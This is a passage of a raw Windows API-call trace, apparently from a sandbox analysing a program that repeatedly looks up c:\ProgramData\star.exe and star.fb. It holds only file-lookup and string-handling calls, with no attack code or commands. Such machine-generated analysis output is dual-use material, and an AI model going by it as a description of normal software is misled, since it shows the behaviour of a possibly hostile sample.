ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.541] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.541] GetLastError () returned 0x12 [0118.541] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="star.exe", len=0x8 | out: pbstr=0x28ef0c*="star.exe") returned 1 [0118.541] FindFirstFileW (in: lpFileName="c:\\ProgramData\\star.exe", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf6350, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf6350, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf6350, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="star.exe", cAlternateFileName="")) returned 0x7632b0 [0118.541] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.541] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.541] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\star.exe", len=0x17 | out: pbstr=0x28ef00*="c:\\ProgramData\\star.exe") returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\star.exe", psz="c:\\ProgramData\\star.exe\\", len=0x18 | out: pbstr=0x28f214*="c:\\ProgramData\\star.exe\\") returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\star.exe\\", len=0x18 | out: pbstr=0x28eefc*="c:\\ProgramData\\star.exe\\") returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\star.exe\\", psz="c:\\ProgramData\\star.exe", len=0x17 | out: pbstr=0x28f214*="c:\\ProgramData\\star.exe") returned 1 [0118.541] CharLowerBuffW (in: lpsz="c:\\ProgramData\\star.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\star.exe") returned 0x17 [0118.541] SysReAllocStringLen (in: pbstr=0x461dc4*=0x0, psz="c:\\programdata\\star.exe", len=0x17 | out: pbstr=0x461dc4*="c:\\programdata\\star.exe") returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x461dc8*=0x0, psz="c:", len=0x2 | out: pbstr=0x461dc8*="c:") returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x461de8*=0x0, psz="programdata", len=0xb | out: pbstr=0x461de8*="programdata") returned 1 [0118.541] SysReAllocStringLen (in: pbstr=0x461e08*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x461e08*="star.exe") returned 1 [0118.542] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatalme1", lpUsedDefaultChar=0x0) returned 11 [0118.542] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="star.exe", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="star.exeatalme1", lpUsedDefaultChar=0x0) returned 8 [0118.542] CharLowerBuffW (in: lpsz="c:\\programdata\\star.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\star.exe") returned 0x17 [0118.542] SysReAllocStringLen (in: pbstr=0x461e18*=0x0, psz="c:\\programdata\\star.exe", len=0x17 | out: pbstr=0x461e18*="c:\\programdata\\star.exe") returned 1 [0118.542] SysReAllocStringLen (in: pbstr=0x461e1c*=0x0, psz="c:", len=0x2 | out: pbstr=0x461e1c*="c:") returned 1 [0118.542] SysReAllocStringLen (in: pbstr=0x461e3c*=0x0, psz="programdata", len=0xb | out: pbstr=0x461e3c*="programdata") returned 1 [0118.542] SysReAllocStringLen (in: pbstr=0x461e5c*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x461e5c*="star.exe") returned 1 [0118.542] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataeatalr45w", lpUsedDefaultChar=0x0) returned 11 [0118.542] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="star.exe", cchWideChar=8, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="star.exeataeatalr45w", lpUsedDefaultChar=0x0) returned 8 [0118.542] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.542] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.542] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.542] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.542] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.542] GetLastError () returned 0x12 [0118.542] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="star.exe", len=0x8 | out: pbstr=0x28ef0c*="star.exe") returned 1 [0118.543] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\star.exe", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf6350, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf6350, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf6350, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="star.exe", cAlternateFileName="")) returned 0x7632b0 [0118.543] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.543] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.543] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\star.exe", len=0x14 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\star.exe") returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\star.exe", psz="c:\\PROGRA~3\\star.exe\\", len=0x15 | out: pbstr=0x28f210*="c:\\PROGRA~3\\star.exe\\") returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\star.exe\\", len=0x15 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\star.exe\\") returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\star.exe\\", psz="c:\\PROGRA~3\\star.exe", len=0x14 | out: pbstr=0x28f210*="c:\\PROGRA~3\\star.exe") returned 1 [0118.543] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\star.exe", cchLength=0x14 | out: lpsz="c:\\progra~3\\star.exe") returned 0x14 [0118.543] SysReAllocStringLen (in: pbstr=0x461e18*=0x0, psz="c:\\progra~3\\star.exe", len=0x14 | out: pbstr=0x461e18*="c:\\progra~3\\star.exe") returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x461e1c*=0x0, psz="c:", len=0x2 | out: pbstr=0x461e1c*="c:") returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x461e3c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461e3c*="progra~3") returned 1 [0118.543] SysReAllocStringLen (in: pbstr=0x461e5c*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x461e5c*="star.exe") returned 1 [0118.543] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3atalme1", lpUsedDefaultChar=0x0) returned 8 [0118.543] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="star.exe", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="star.exeatalme1", lpUsedDefaultChar=0x0) returned 8 [0118.544] CharLowerBuffW (in: lpsz="EVB88990.TMP", cchLength=0xc | out: lpsz="evb88990.tmp") returned 0xc [0118.544] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.544] FindFirstFileW (in: lpFileName="c:\\programdata\\evb88990.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bf6350, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x6400, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x740073, nFileSizeLow=0x720061, dwReserved0=0x65002e, dwReserved1=0x650078, cFileName="", cAlternateFileName="A臌uA((")) returned 0xffffffff [0118.544] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.544] SysReAllocStringLen (in: pbstr=0x28f258*="evb88990.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="star.exe", len=0x8 | out: pbstr=0x28f1cc*="star.exe") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\star.exe", len=0x2c | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\star.exe") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\star.exe\\", len=0x2d | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\star.exe\\") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x461d04*=0x0, psz="\\device\\harddiskvolume1\\programdata\\star.exe\\", len=0x2d | out: pbstr=0x461d04*="\\device\\harddiskvolume1\\programdata\\star.exe\\") returned 1 [0118.544] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\star.exe\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\programdata\\star.exe\\") returned 0x2d [0118.544] SysReAllocStringLen (in: pbstr=0x461e9c*=0x0, psz="\\device\\harddiskvolume1\\programdata\\star.exe\\", len=0x2d | out: pbstr=0x461e9c*="\\device\\harddiskvolume1\\programdata\\star.exe\\") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x461ec0*=0x0, psz="device", len=0x6 | out: pbstr=0x461ec0*="device") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x461ee0*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x461ee0*="harddiskvolume1") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x461eec*=0x0, psz="programdata", len=0xb | out: pbstr=0x461eec*="programdata") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x461ef8*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x461ef8*="star.exe") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\star.exe\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.544] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="star.exe", len=0x8 | out: pbstr=0x28f1c0*="star.exe") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\star.exe", len=0x29 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\star.exe") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\star.exe\\", len=0x2a | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\star.exe\\") returned 1 [0118.545] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\star.exe\\", cchLength=0x2a | out: lpsz="\\device\\harddiskvolume1\\progra~3\\star.exe\\") returned 0x2a [0118.545] SysReAllocStringLen (in: pbstr=0x461f08*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\star.exe\\", len=0x2a | out: pbstr=0x461f08*="\\device\\harddiskvolume1\\progra~3\\star.exe\\") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x461f2c*=0x0, psz="device", len=0x6 | out: pbstr=0x461f2c*="device") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x461f4c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x461f4c*="harddiskvolume1") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x461f58*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461f58*="progra~3") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x461f64*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x461f64*="star.exe") returned 1 [0118.545] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.545] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.545] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="star.fb", len=0x7 | out: pbstr=0x28f23c*="star.fb") returned 1 [0118.545] CharLowerBuffW (in: lpsz="star.fb", cchLength=0x7 | out: lpsz="star.fb") returned 0x7 [0118.545] SysReAllocStringLen (in: pbstr=0x28f240*="star.fb", psz="star.fb", len=0x7 | out: pbstr=0x28f240*="star.fb") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x461fbc*=0x0, psz="star.fb", len=0x7 | out: pbstr=0x461fbc*="star.fb") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x461fc0*=0x0, psz="star.fb", len=0x7 | out: pbstr=0x461fc0*="star.fb") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.545] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.545] CharLowerBuffW (in: lpsz="c:\\programdata\\star.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\star.fb") returned 0x16 [0118.545] SysReAllocStringLen (in: pbstr=0x461fc4*=0x0, psz="c:\\programdata\\star.fb", len=0x16 | out: pbstr=0x461fc4*="c:\\programdata\\star.fb") returned 1 [0118.546] CharLowerBuffW (in: lpsz="c:\\programdata\\star.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\star.fb") returned 0x16 [0118.546] SysReAllocStringLen (in: pbstr=0x4620a0*=0x0, psz="c:\\programdata\\star.fb", len=0x16 | out: pbstr=0x4620a0*="c:\\programdata\\star.fb") returned 1 [0118.546] SysReAllocStringLen (in: pbstr=0x4620a4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4620a4*="c:") returned 1 [0118.546] SysReAllocStringLen (in: pbstr=0x4620c4*=0x0, psz="programdata", len=0xb | out: pbstr=0x4620c4*="programdata") returned 1 [0118.546] SysReAllocStringLen (in: pbstr=0x4620e4*=0x0, psz="star.fb", len=0x7 | out: pbstr=0x4620e4*="star.fb") returned 1 [0118.546] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatalr45w", lpUsedDefaultChar=0x0) returned 11 [0118.546] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="star.fb", cchWideChar=7, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="star.fbdatalr45w", lpUsedDefaultChar=0x0) returned 7 [0118.546] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.546] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.546] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.546] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.546] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.546] GetLastError () returned 0x12 [0118.546] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.546] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.546] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.546] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="star.fb", len=0x7 | out: pbstr=0x28ef0c*="star.fb") returned 1 [0118.546] FindFirstFileW (in: lpFileName="c:\\ProgramData\\star.fb", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf6350, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf6350, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf8a60, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="star.fb", cAlternateFileName="")) returned 0x7632b0 [0118.547] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.547] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.547] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\star.fb", len=0x16 | out: pbstr=0x28ef00*="c:\\ProgramData\\star.fb") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\star.fb", psz="c:\\ProgramData\\star.fb\\", len=0x17 | out: pbstr=0x28f214*="c:\\ProgramData\\star.fb\\") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\star.fb\\", len=0x17 | out: pbstr=0x28eefc*="c:\\ProgramData\\star.fb\\") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\star.fb\\", psz="c:\\ProgramData\\star.fb", len=0x16 | out: pbstr=0x28f214*="c:\\ProgramData\\star.fb") returned 1 [0118.547] CharLowerBuffW (in: lpsz="c:\\ProgramData\\star.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\star.fb") returned 0x16 [0118.547] SysReAllocStringLen (in: pbstr=0x4620a0*=0x0, psz="c:\\programdata\\star.fb", len=0x16 | out: pbstr=0x4620a0*="c:\\programdata\\star.fb") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x4620a4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4620a4*="c:") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x4620c4*=0x0, psz="programdata", len=0xb | out: pbstr=0x4620c4*="programdata") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x4620e4*=0x0, psz="star.fb", len=0x7 | out: pbstr=0x4620e4*="star.fb") returned 1 [0118.547] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.547] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="star.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="star.fbdataume1", lpUsedDefaultChar=0x0) returned 7 [0118.547] CharLowerBuffW (in: lpsz="c:\\programdata\\star.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\star.fb") returned 0x16 [0118.547] SysReAllocStringLen (in: pbstr=0x4620f4*=0x0, psz="c:\\programdata\\star.fb", len=0x16 | out: pbstr=0x4620f4*="c:\\programdata\\star.fb") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x4620f8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4620f8*="c:") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x462118*=0x0, psz="programdata", len=0xb | out: pbstr=0x462118*="programdata") returned 1 [0118.547] SysReAllocStringLen (in: pbstr=0x462138*=0x0, psz="star.fb", len=0x7 | out: pbstr=0x462138*="star.fb") returned 1 [0118.547] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadatalr45w", lpUsedDefaultChar=0x0) returned 11 [0118.548] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="star.fb", cchWideChar=7, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="star.fbdatadatalr45w", lpUsedDefaultChar=0x0) returned 7 [0118.548] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.548] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.548] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.548] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, 